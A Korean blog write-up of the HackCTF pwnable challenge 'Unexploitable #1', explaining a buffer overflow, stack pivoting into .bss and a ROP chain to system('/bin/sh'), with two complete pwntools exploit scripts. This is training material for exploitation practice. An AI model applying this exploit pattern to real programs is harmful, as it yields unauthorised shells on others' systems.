Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) Unexploitable #1 풀이

snwo 2020. 9. 5. 23:09

문제실행시. 입력받고 종료한다. system@plt 가 주어진 것 같다.

 

gift 함수에서 system 함수를 실행시켜주는데, 인자가 "use this system gadget :D" 이다.

가젯으로 쓸수있을것같다.

 

입력받는 부분이다. rbp-0x10 에 0x40 만큼 입력받으므로, 

0x30 만큼 overflow 할 수 있다.

 

NX 만 enable 되어 있으므로, 편하게 ROP할 수 있을 것같다.

 

fgets 로 .bss 영역에 /bin/sh 를 입력받고,

pop rdi 가젯을 이용해 system('/bin/sh') 를 출력한다.


하지만 3번째 인자인 stdin 을 넣어줄 pop rdx 가젯이 보이지 않는다.

할수없이 main+113 으로 리턴해 fgets 함수를 다시 호출해야겠다.

 

m.blog.naver.com/PostView.nhn?blogId=yjw_sz&logNo=221580782633&referrerCode=0&searchKeyword=%EC%8A%A4%ED%83%9D%ED%94%BC%EB%B3%B4%ED%8C%85

 

34. Stack pivoting

leave_ret을 이용한 스택 피보팅을 정리할려고 한다.Stack pivoting스택 피보팅의 개념을 대충 설명하자면...

blog.naver.com

Jsec 님 블로그에 잘 정리가 되어있다.

 

Stack pivoting 을 이용하여, rsp 를 bss 영역으로 조작한 뒤,

/bin/sh 를 입력하고 system 으로 리턴해야겠다.

 

payload 1 - [buf] | [rbp (bss+0x10)] | main+113 |

 

rbp-0x10 에 입력받으므로, 입력하고자하는 주소 +0x10 으로 rbp 를 조작한다.

 

payload 2 - [/bin/sh] | [Dummy(17)] | pop rdi | bss | system (gift+14)

 

main 에서 다시한번 fgets 를 실행했을때 payload 이다.

bss 에 입력을 받고, 스택 프롤로그 (mov rsp, rbp | pop rbp | ret ) 를 거치면서,

rsp 는 bss+0x10 으로 조작되고, pop rbp 에서 rbp 는 [bss+0x10] 으로 조작되고,

rsp 는 다시 bss+0x18 으로 조작되어 bss+0x18 으로 리턴하게된다.

 

그렇다면, 두번째 입력을 받을때 /bin/sh 를 포함해 0x18 을 맞춰준뒤 (24)

pop rdi 가젯으로 인자를 전달한뒤 system 으로 리턴하면 되겠다.

 

from pwn import *
#r=remote("ctf.j0n9hyun.xyz",3023)
r=process("./Unexploitable_1")
b=ELF("./Unexploitable_1")
context.log_level='debug'
prdi=0x4007d3
bss=0x601080

pay=b'x'*0x10
pay+=p64(bss+0x10)
pay+=p64(b.symbols['main']+113)

r.sendline(pay)

pay2='/bin/sh'.ljust(0x18,'\x00').encode()
pay2+=p64(prdi)
pay2+=p64(bss)
pay2+=p64(b.symbols['gift']+14)

r.sendline(pay2)
r.interactive()

 

오류가 난다. system 함수 호출할때 나는것 같은데, 

rsp 를 확인해보니, bss 를 스택으로 쓰다보니, 0x600f~~ 까지 내려온것같다.

그렇다면, bss 의 범위를 보자.

 

0x601000 ~ 0x602000 까지 rw (read and write) 퍼미션이 부여된 공간이니,

적당히 0x602000 전에 입력을 받아야 스택을 많이 사용해도 0x601000 밑으로 내려가지 않는다.

 

bss 에 0x800 정도를 더해주면 되겠다.

 

from pwn import *
#r=remote("ctf.j0n9hyun.xyz",3023)
r=process("./Unexploitable_1")
b=ELF("./Unexploitable_1")
context.log_level='debug'
prdi=0x4007d3
bss=0x601080+0x800

pay=b'x'*0x10
pay+=p64(bss+0x10)
pay+=p64(b.symbols['main']+113)

r.sendline(pay)

pay2='/bin/sh'.ljust(0x18,'\x00').encode()
pay2+=p64(prdi)
pay2+=p64(bss)
pay2+=p64(b.symbols['gift']+14)

r.sendline(pay2)
r.interactive()

! : b.plt['system'] 으로 리턴을 하면 do_system + 1094 쯤에서 세그멘테이션 오류가 난다. 

이유는 rsp 가 0x10 단위로 정렬되어있지 않기때문인데, call system 이 부분으로 리턴해야

리턴주소를 pop 해서 rsp 가 8 감소하기때문에 오류가 나지 않는다.

bss 영역에 -8 을 해봤지만 같은 오류가 나왔다.